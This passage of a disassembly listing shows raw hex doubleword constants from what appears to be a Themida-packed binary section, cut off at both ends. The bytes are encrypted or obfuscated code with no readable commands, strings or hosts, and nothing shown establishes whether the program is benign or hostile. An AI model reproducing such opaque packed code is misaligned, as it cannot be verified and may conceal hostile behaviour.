4244481h, 1Bh, 7CC35646h, 0E0055411h, 906997C7h, 5050E6B5h dd 8B310F52h, 90585AC8h, 95FFF18Ah, 60700C1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0AEC35343h, 5C03A336h dd 0A81E9B98h, 0FC00B03h, 4A84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 375F7F3Ch dd 0FA9EDD4h, 0D86h, 8E900h, 66310000h, 46C19AA2h, 0C88A7966h dd 2F5D9509h, 2DE90607h, 52000000h, 2BD8D8Bh, 0E95A0607h dd 0FFFFFA84h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0DFC35040h, 0D1BF0F7Fh, 6FE4B58Dh, 6A0607h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0A6CB3AC3h, 0BB91F5B3h, 78C5F3FFh, 7CDBD8Bh, 0B80607h dd 0FF000000h, 51006AE6h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0C18B7F5Dh, 0D68B8D8Dh dd 6A060Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 3C8876C3h, 0FFE855Bh, 681h, 0CD858900h, 8906070Eh dd 71AD98Dh, 10E806h, 0FDD50000h, 0CA3D9A7h, 0E15C7ADBh dd 0D3B1A725h, 0CA800D3Ah, 85C75A94h, 607101Dh, 581Ch dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 20C35646h dd 1FDCA64Ah, 0E58F1852h, 2819B58Bh, 85C70607h, 6073305h dd 0 dd 820270BFh, 51B5FF25h, 81060713h, 9C060FC0h, 5995FF47h dd 6A060718h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 8756C355h, 73EB5A94h, 669510B3h dd 6AF682BBh, 6995FF00h, 8B06070Dh, 0DD29EBC0h, 0A0F85E52h dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 75FDED55h dd 76F67A5Eh, 56E669A4h, 0D3FD49BCh, 31FD2069h, 76FD2047h dd 0D4FD2050h, 0C6FD20D9h, 0BCFD201Ch, 85FD20FEh, 7AFD208Fh dd 51FD2036h, 9CFD206Ah, 55FD2044h, 0CEFD2050h, 2BFD20DBh dd 8FD201Dh, 0D5FD20FFh, 91FD208Eh, 0E5FD2035h, 9DFD2069h dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A753DDh, 75A750B5h dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh dd 73F0A08Fh, 0A2F5FFA6h, 0F0707C9Ah, 73F0A02Ch, 0A335FF6Ch dd 0F0707CFFh, 73F0A15Ch, 0A2F9FF35h, 0F0707C53h, 73F0A0AAh dd 0A331FF1Eh, 0F0707CC6h, 73F0A0A1h, 0A32DFF7Bh, 0F0707C74h dd 73F0A25Eh, 0A329FFD7h, 0F0707C22h, 73F0A263h, 0A325FF42h dd 0F0707CE8h, 73F0A3F8h, 0A321FFF0h, 0F0707CB1h, 73F0A33Bh dd 0A315FFA6h, 0F0707C9Ah, 73F0A3FAh, 0A31DFF6Ch, 0F0707CFFh dd 73F0A329h, 0A319FF35h, 0F0707C53h, 73F0A34Ah, 0A315FF1Eh dd 0F0707CC6h, 73F0A37Ah, 0A305FF7Bh, 0F0707C74h, 73F0A302h dd 0A301FFD7h, 0F0707C22h, 73F0A376h, 0A2FDFF42h, 0F0707CE8h dd 73F0A0D8h, 0A311FFF0h, 0F0707CB1h, 73F0A03Fh, 0A30DFFA6h dd 0F0707C9Ah, 73F0A037h, 0A309FF6Ch, 0F0767CFFh, 73FA4A20h dd 0A2BCFF35h, 0F0767C53h, 73FA6216h, 0A2B8FF1Eh, 0B69C7CC6h dd 9D11F1B0h, 75FD7AF2h, 2017FB23h, 25FB7764h, 0FDF53FD5h dd 782A3AADh, 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah dd 987C2779h, 73F0A2CAh, 0A33AFFA0h, 0C87D7C22h, 73F0AC50h dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0A2B8EF86h, 0FEBD7CB1h dd 7A452B96h, 8AFD7A2Fh, 782A3F02h, 0BD48F7CDh, 0F8FB7733h dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 782A3FBAh dd 0BD48F791h, 0F8FB771Dh, 8A50FCD1h, 0BC1F2322h, 0A33AF787h dd 2DA07CB1h, 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h dd 782A3B70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h dd 0A2BCEFD0h, 0DE9B7C9Ah, 77959208h, 360B7AE5h, 6E8872F3h dd 0A2BCEF86h, 0C54D7CB1h, 8AAD7954h, 782A3BBAh, 0F69B2091h dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h dd 346885B5h, 2FFB7725h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0A2B8EF0Dh, 0C0707C74h dd 73F0ADB0h, 7F518A5Dh, 0E002D02Ch, 73F0ADD6h, 74E59208h dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h dd 2D4D7A5Eh, 0B6577925h, 0A343FF69h, 0C87D7CC6h, 73F0AC5Bh dd 0F8EC0FF3h, 782A4AFCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 0A343F787h dd 0C87D7CB1h, 73F0ACE0h, 0F8F10F2Fh, 782A4A12h, 0DE152ACDh dd 0B6FD7AE4h, 75FD7E4Ah, 30688579h, 0F8FB776Bh, 7826F7C3h dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h dd 7115F9BBh, 8A3E7835h, 782A3BCBh, 514ACE29h, 0C1FF0E96h dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h dd 0B5F179BEh, 0B6577825h, 0A2BCEF68h, 917D7CC6h, 0F539FAEAh dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh dd 7345B995h, 8AFD7ACBh, 782A3F70h, 5160F7F4h, 0F8FB77AEh dd 0CD3E39A0h, 75FD7A4Eh, 0A2B8EFD0h, 0B57E7C9Ah, 8935F1CEh dd 0A2BCEF1Ah, 97577CFFh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h dd 9D9D86BDh, 75FD7ABCh, 0E817FB04h, 0FCFB77F4h, 0CF7D86EAh dd 73F0AD8Bh, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0A2B8E843h dd 0FCBD7C53h, 782A33ADh, 0F835F191h, 78210B79h, 346F85E3h dd 0FDFB7725h, 801F3C7Fh, 75FD6D04h, 3C7F795Eh, 35FB77F8h dd 0A998E01Ah, 0B67E7CC6h, 22FEF3E1h, 75FD644Bh, 3C777979h dd 0F8FB776Bh, 782129ECh, 2B598929h, 75FD722Fh, 306F85CBh dd 0F6FB7732h, 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh dd 0A9799016h, 0CF707CC6h, 73F0ADA8h, 0CCF50F79h, 75FD7A71h dd 0BC9CDE4Fh, 26FD7E9Ch, 0A2B0E7A2h, 497D7C9Ah, 71887BD3h dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0C817FB04h dd 0F8FB77F3h, 782A3725h, 7D80F1CDh, 75FD725Ch, 145989F2h dd 75F9B8B0h, 3840F7DCh, 46FB7789h, 75F5C3EFh, 0DF0E7A97h dd 0F89DB9AAh, 782A3758h, 74C2FBF4h, 0FC7B78h, 7182FBB0h dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 3840F7ABh, 0CDFB7732h dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh, 2F78F7EFh dd 8AFB7740h, 0E9CA8BD0h, 3Bh, 0ADBD8B60h, 83060712h, 0C93304EFh dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h dd 0FFFFD382h, 8BC361FFh, 1DCAFEC8h, 92A80B04h, 588A4F8Ch dd 0ABA80B05h, 3075EAD5h, 98A80B05h, 0BA8A4F8Dh, 7557AE5Dh dd 208A4F82h, 0ABA80B0Ah, 0EB75EAD5h, 0BBA80B0Ah, 758A4F82h dd 25A80B0Bh, 0EF8A4F83h, 0ABA80B0Bh, 2575EAD5h, 8A31D42Fh dd 0C0031327h, 52A58CD2h, 9A8D90A7h, 0D12157AFh, 4387C85Eh dd 8BF6D42Fh, 0C0031327h, 52A58CDAh, 9A3C90A7h, 0D12157AFh dd 4387C8AAh, 0B4A5D42Fh, 0C0031327h, 52A58C26h, 0A5E890A7h dd 0D12157AFh, 4387C8A6h, 0B40ED42Fh, 0C0031327h, 52A58C32h dd 0A56590A7h, 0D12157AFh, 4387C8B2h, 0B598D42Fh, 0C0031327h dd 52A58C3Eh, 0A4FB90A7h, 0D12157AFh, 4387C88Ah, 0B51AD42Fh dd 0C0031327h, 52A58C06h, 0A46190A7h, 0D12157AFh, 4387C882h dd 5012B8C3h dd 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 485446C0h dd 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh dd 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 6D3AAE63h, 848C1232h dd 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h dd 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h dd 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh, 8CC3DB2Fh dd 94751327h, 0D9020112h, 48527EA0h, 0EC79AEA4h, 41AE51A1h dd 3F22DC09h, 0BA8C18F2h, 0DF103773h, 0C821732Ah, 59703A28h dd 0FD5BEA2Ch, 508C152Bh, 2E009881h, 0ABAE5C7Ah, 0EFD2A5FBh dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 485506C0h, 5CDDDAA4h, 828668A1h dd 54A8ADE7h, 0BACC152Ah, 53980830h, 0CE529E2Ch, 9783FC69h dd 0EFE2A5B9h, 0D9F9FA31h, 48527EA0h, 0D79AEA4h, 2320949Ah dd 328C551Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h, 4387CA40h dd 0DFA02429h, 4D1957h, 54A8515Eh, 0D775532Ah, 52AF61FBh dd 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 48527EA0h dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 3F22DC08h, 0BA8C18F2h dd 0FEF8E173h, 9DE19FA7h, 855757AFh, 6E20D6A0h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah, 52AF499Bh dd 0C8204526h, 59703A28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh dd 0FE0451A2h, 75D387D5h, 8C2357A5h, 0EF491786h, 8CC3DB2Fh dd 94751327h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh dd 457650EDh, 0F8A851A2h, 1C18EA80h, 0DFAE5692h, 8558B9E2h dd 3F32DC08h, 0BA8C18F2h, 94103771h, 0CF2173E3h, 2983FB63h dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52AF61FBh dd 7726DDA1h, 0CE25FB63h, 4387CD41h, 0ECCE825Dh, 0EEECE4AAh dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah dd 0D903376Bh, 48527EB0h, 327BAEA4h, 234B9592h, 0FE04FD09h dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h dd 9DE18FA7h, 875757AFh, 320A09Ah, 0CE25FB0Eh, 4387CD41h dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 48682EC0h dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4387C85Ah dd 1332DCF1h, 0BA8C18F4h, 0A8EDD871h, 458A42C3h, 58DDAEA2h dd 0C88260D5h, 5975D138h, 0DF07462Ch, 52A58FE5h, 3C6D5h dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 98068FA7h, 0D9FB57AFh dd 485452B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh dd 0CC32DCAAh, 168C18F7h, 8AEFCB2Fh, 96751327h, 0BD54142Bh dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 12E800h dd 9D340000h, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h dd 59D68B66h, 5E9h, 27843000h, 0C1814B49h, 7051h, 4E7ACB81h dd 0E6BF17B7h, 6600001Bh, 0FFAA1EBBh, 0FE931h, 0C5A40000h dd 6C75E7CAh, 0EFD23E00h, 0B27A6978h, 0D18A5E1Fh, 8573C681h dd 0F5771EAh, 683h, 890F00h, 5A000000h, 0D567C681h, 81F96C4Ch dd 661917C6h, 53B8667Fh, 0F831897Ah, 8B04E983h, 850F4FD6h dd 1Ch, 0BE9h, 0F6AA4F00h, 0EEEC51BDh, 7B2BAFAAh, 26E9h dd 0A4EC6700h, 0DD9D39F7h, 0EE9h, 7A2DB100h, 2CA9FBBEh dd 2D593BECh, 0E9DF0E52h, 0FFFFFF7Fh, 0B4E01C53h, 8D1B24A1h dd 0DE4598Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0BB016363h, 1585200Dh, 8D8920EDh dd 6071AD9h, 6E9h, 7A5C8500h, 0C79C8937h, 7101D85h, 66CC06h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 585C704h, 60733h, 8B000000h, 70FA185h, 0D1B5FF06h dd 8B060705h, 7131D85h, 5995FF06h, 8B060718h, 710F99Dh dd 0FF006A06h, 70D6995h, 0EBC08B06h, 53D65D6Ch, 0AFF509C0h dd 9A2D518Ch, 0CCBF0402h, 1B6D09E8h, 0A90852AFh, 0FBCFB43h dd 150E8828h, 4D246358h, 558560FCh, 0D9E3ED16h, 0F07F8777h dd 0C9CD08D6h, 8BA21102h, 5F45C5C1h, 660DF9FDh, 36C0BAB6h dd 539F8C5Dh, 41937E7Bh, 57412C6Ch, 0A36491CAh, 0B8AE2369h dd 114CE839h, 630A1F44h, 0B783ADDEh, 0FC8F39E9h, 1DC7362Ah dd 0AFE9BAh, 2C5D0000h, 315D0499h, 2C5A0196h, 2655FC91h dd 1C4FF68Bh, 4159F489h, 2DC25386h, 27BC5986h, 1EB34E80h dd 1BB04777h, 81F2E04Eh, 0CC43960Eh, 0FD2CE3B5h, 7A3BBD64h dd 0FC95C44Bh, 0FF2DBC55h, 8324BD64h, 0DE4F3DEDh, 2949A3F2h dd 79656C56h, 0C00AA2C1h, 0D671A14Ah, 66AC962Fh, 49661AD9h dd 2365E3D8h, 1C87B249h, 0C4D48E0h, 0C3000000h, 7C4CA225h dd 0B6AC8E0Ch, 2C1BFDCCh, 3CC36AFBh, 4BD2790Ch, 50D77E19h dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch dd 6711B857h dword_5AAD2C dd 0DE4CF68h, 980DE906h, 8131FFF9h, 1205DE8Bh, 0E56DB80Eh ; DATA XREF: Themida_:0053DC68o dd 0C503060Dh, 9E8h, 0ACB75000h, 8107072Dh, 0BF667B81h dd 815B22B2h, 70D0C3h, 0A9858900h, 0B8060714h, 8EAD0A6h dd 0B492E881h, 10E908EAh, 84000000h, 0DF0DE830h, 0D9DE983h dd 27579442h, 8B3C0222h, 81D68B33h, 0AC0091EEh, 91C78147h dd 81329215h, 0D696DAF6h, 658D8B60h, 8106070Eh, 8EF275C6h dd 11B5895Bh, 89060707h, 158D0933h, 8306072Fh, 816604EBh dd 81F90CDFh, 1E8h, 0BC850F00h, 31FFFFFFh db 85h byte_5AADC9 db 25h, 29h, 7 ; DATA XREF: Themida_:0053D924o ; Themida_:0053F7FCo dd 0DE04EB06h, 0E9467BEBh, 0CFCh, 0DE83668h, 9761E906h dd 3C68FFF9h, 0E9060DE9h, 0FFF99757h, 0DE9DF68h, 974DE906h dd 6E68FFF9h, 0E9060DEAh, 0FFF99743h, 0DED6168h, 9739E906h dd 7468FFF9h, 0E9060DF0h, 0FFF9972Fh, 0DF18768h, 9725E906h dd 9CCDFFF9h, 0A1CD7409h, 9CCA7106h, 96C56C01h, 8CBF66FBh dd 0B1C964F9h, 9D32C3F6h, 972CC9F6h, 8E23BEF0h, 8B20B7E7h dd 0F16250BEh, 3C43960Bh, 3B6E1725h, 0B52614AAh, 43960Ch dd 2C77432Dh, 3AC168F9h, 27D76D08h, 0A3F2C839h, 56401349h dd 0CBF8A14Fh, 8F28B32h, 0CF655DE5h, 0B45BFA26h, 3B29311Bh dd 47A2ED89h, 42EB8154h, 758E7815h, 0D84937E7h, 23439CEDh dd 0B3206650h, 0E0439CEDh, 28AD33FDh, 0B21FB5C1h, 47h dd 8A820A16h, 0DF8406F4h, 0DCAF47A2h, 0D46F9D46h, 9805D1EAh dd 0DC439CBFh, 0DE6C13AEh, 9CBF7FF0h, 68F7CA43h, 0C74FD435h dd 0FA632CFFh, 4801B259h, 8983EFEh, 0EE95305Fh, 6106B55h dd 0B65D15C0h, 7C71Fh, 322B0000h, 82Ch, 497C25A8h, 8E7811B8h dd 0AFDC5D8Dh, 0F2C23321h, 3A0D49A3h, 0CA51F899h, 9D66FB9Ah dd 99871D15h, 47A307EFh, 0A230D7AAh, 0D79304F2h, 0BDE439Ch dd 0D76EDB21h, 0B89B439Ch, 0DE10B96Eh, 9306B37Bh, 0B0515BDDh dd 0E5686DC6h, 0DB5E1FB5h, 0AF03AC63h, 8527971Bh, 60D2A60Fh dd 3E60543Eh, 0C4000000h, 0F48A820Ah, 0F5B91C4Bh, 3E1F55F3h dd 0B64FF697h, 54D6C4CCh, 7F47A2DAh, 0CC3905ACh, 0F9439CBAh dd 0FC60816h, 0B91FB5F8h, 70B80036h, 0EB4BE96Bh, 0D33E5BF7h dd 0F1E5CF70h, 0ADh, 69FC2C55h, 6D083BC2h, 618F38C6h, 0F0861FC6h dd 0A3F29102h, 1F09DC49h, 0B057EE1Eh, 0C95EF929h, 0A3EE10DDh dd 11A4D449h, 6CDDCB7Bh, 0B749A3EDh, 4CF3FAE4h, 39E2891Ch dd 3523B9B1h, 47A2FEFBh, 0EA9D596h, 870FD86Dh, 5E0BF98Fh dd 29419531h, 0E417C056h, 0E215BC51h, 4661794Fh, 6A99F07Fh dd 0A3DE9h, 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h dd 1CB5E88Fh, 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h dd 0DDAA3FD6h, 0A10816Fh, 445B4396h, 68F92C72h, 0A1FC2CD3h dd 0E7193617h, 0A30CA54Ch, 1A4665EAh, 0A439DA7Bh, 8A820A32h dd 18406F4h, 0DCAF47A3h, 0E0FC6935h, 1240439Ch, 1749D077h dd 7E11D57Ch, 3ECE74B0h, 0C8EB0B8Eh, 0F201BC5Bh, 9C78AD1Eh dd 705DF843h, 3F4EF205h, 1C776102h, 509CC12h, 0FBF1FB6h dd 9CA9B021h, 3E28FB43h, 0B54Ah, 0FC2CAE00h, 5AC4B7Bh dd 8C35CB6Ch, 0BF20C75Ah, 652812A6h, 220CAD56h, 0B64F8209h dd 2676430Fh, 0A3A49A3h, 7F28D66Bh, 0CDCEB84Fh, 54ED1C9Dh dd 265FD0BEh, 0D7AA49A3h, 5EE68F36h, 0A8E2D066h, 3547A237h dd 0DEC8598Ch, 0B37C11E4h, 0ED9D332Bh, 1580B16Ah, 301A3020h dd 9537E2EAh, 0B0461941h, 0AC41D407h, 693FD205h, 0F07F5F2Bh dd 37DF608Fh, 0F0000009h, 0EA9126BFh, 0E38A1FBEh, 0DE851AB5h dd 0DA8116AFh, 0DE790EA7h, 3DD80BC6h, 39D401A8h, 38CBFDA4h dd 39CCFCA3h, 7B69D7A4h, 4396090Ah, 2C6C3E55h, 2CD368F9h dd 2AD369FCh, 21BA61FCh, 0DEC86592h, 0FC2C65D7h, 0B3BC269h dd 0C942D76Ch, 5DF3EB73h, 0A2F8C56Fh, 26AD8047h, 0D9D8821Ah dd 7068F0EBh, 0BA16ECDAh, 5E3197D6h, 8E860EB7h, 0D9950AF8h dd 0EFB091CAh, 0F28829BCh, 5D901949h, 0E3841DC4h, 3EAF9D4Dh dd 7B8DC639h, 0C6391C8Dh, 0C94678Dh, 0A1484F39h, 8400D671h dd 0E647B22Dh, 89436B7h, 1C4D0000h, 214DF489h, 1C4AF186h dd 1645EC81h, 0C3FE67Bh, 3149E479h, 1DB24376h, 17AC4976h dd 0EA33E70h, 0BA03767h, 71E2D03Eh, 0BC439609h, 7C25D3A5h dd 874CB550h, 8172E7D9h, 81B1B29Ch, 0E963FE6h, 24928016h dd 6F47A20Dh, 2B5D069Ch, 3DDE77AAh, 6CCF01A8h, 0D5F00B90h dd 35DC7D9Dh, 9B0AF869h, 1B8AF743h, 24AC439Bh, 52A8962Ch dd 6D4199D8h, 285B049Ah, 0BE4DE68Dh, 0B750F78Eh, 0FD2DB4CDh dd 8E1A946Ah, 3968F07Fh, 805B8h, 0F88DBE00h, 0F590BC63h dd 0F08BB960h, 0EC85B45Bh, 0E47DB057h, 0E19CB44Fh, 0D77E13AEh dd 0CF760BAAh, 0CE750A9Dh, 0A572079Eh, 8D84937h, 0C234396h dd 95820A3Ah, 0A3F236A7h, 0DAE8149h, 0EF1EC777h, 0D0266C56h dd 0EB47A2CFh, 3AE37118h, 2FC86F0Eh, 8F184445h, 6FE0CE62h dd 0BA439CCFh, 69F46E7h, 0F426CF65h, 6CDDCB61h, 0B7439CCFh dd 4CF3FAE4h, 6CEF8520h, 58CCC4ECh, 0BDD6C05Fh, 0FF958914h dd 0A3CDCC4Fh, 0C6059C2Dh, 761D96DCh, 6538439Ch, 816F1FCFh dd 439C7610h, 43B4885Bh, 8E439C76h, 4DB8D1BBh, 0E00C3A04h dd 57C4B045h, 94439C76h, 3721BCEBh, 0FF958914h, 9C768C11h dd 5FF4C743h, 4AF18CB8h, 9C75C97Eh, 0DA837943h, 528110ADh dd 0A472CDB7h, 1AAF4E7Ah, 1A84773h, 0FB9ACA73h, 75AECB11h dd 256E439Ch, 19A3261Bh, 58FC3D7Bh, 0F3B3C26h, 8712DB70h dd 303FB09Eh, 0B78A439Ch, 24928016h, 6F439C30h, 0E329F59Ch dd 802F7D4Ch, 884D939Dh, 3E9417E2h, 2587C1BBh, 362072F6h dd 16042h, 820AA600h, 4806F48Ah, 0F347A30Ah, 31DA8A20h dd 0AF4A7801h, 27CE6F08h, 73A3A48Eh, 68983FD4h, 0F5A26CDh dd 92C25A3Eh, 0D70731FFh, 0D404AB40h, 66F19A41h, 736DD72h dd 12B95480h, 16DC1079h, 1BF0F37Ch, 1C4CD37Ah, 2AD16C9Bh dd 0D75AF091h, 4EFEE648h, 29301A92h, 1DB35282h, 5AC4574h dd 77E8D66Ch, 0C2BC5606h, 20EC05EFh, 0ADCF7185h, 56CB55E8h dd 5047B8A6h, 0BF9249CBh, 11A4D4D5h, 0F725CE7Ch, 4171725Ch dd 0CB56FFA6h, 0E25341D7h, 2D49CB50h, 8A87DE92h, 6DDAD76Eh dd 1938A141h, 22B85914h, 0AB14C79h, 0D9808771h, 0C5750BA6h dd 0CBA966D7h, 0F4DEB149h, 0C5A732DBh, 0BD56FD98h, 3398861Ch dd 6E49CBA9h, 2F5F069Bh, 376AF198h, 4170F79Eh, 4B7A01A8h dd 0A95ECFBDh, 0D6A949CBh, 16E78E35h, 50990C08h, 8D2858C6h dd 982151F8h, 832ACB66h, 0C55B4FDAh, 7D149215h, 79034134h dd 76E0498Fh, 640D49CBh, 93F49B36h, 105E90F8h, 0DF7985Ah dd 4AB4013h, 139A41D4h, 0F89F46E1h, 0FF2F1927h, 0FC29D268h dd 0C9707761h, 0B868FE99h, 0CBDF59CAh, 42D1A449h, 728B7510h dd 295C3EC9h, 7361F798h, 49CBDF16h, 32D96E41h, 15BE6500h dd 1200968Ah, 49CBDFB1h, 4DE81BDCh, 0D76C0DA6h, 69FC2C65h dd 8B830BD4h, 2907F5h, 815447A3h, 751042EBh, 6C0739E0h dd 9C941CC5h, 95305D06h, 0ADAAA2Ch, 2ECEB24h, 0C79E0CFAh dd 58DB419Bh, 50D23B1Ah, 0DCD6C060h, 2BD46209h, 307660FFh dd 3D9528C3h, 55607D00h, 7DCD5142h, 0F0E87093h, 99166C5Ah dd 7A233B94h, 0C7C1AB4Ah, 9A3BDA06h, 0A93C6CF3h, 7ACE67D3h dd 0EB6C9BEEh, 512h, 66FB9ACBh, 5FF493BFh, 5AEF8AB8h, 54E984B3h dd 52E77AADh, 0B1E49FB7h, 0B7E48B20h, 0B0E2891Eh, 0A9D98015h dd 3EAC790Eh, 9605DF50h, 41132A43h, 0F48A820Ah, 558A1B71h dd 4DE68D28h, 68C8EE4h, 2C26141Ch, 4747A309h, 0BC3FCD74h dd 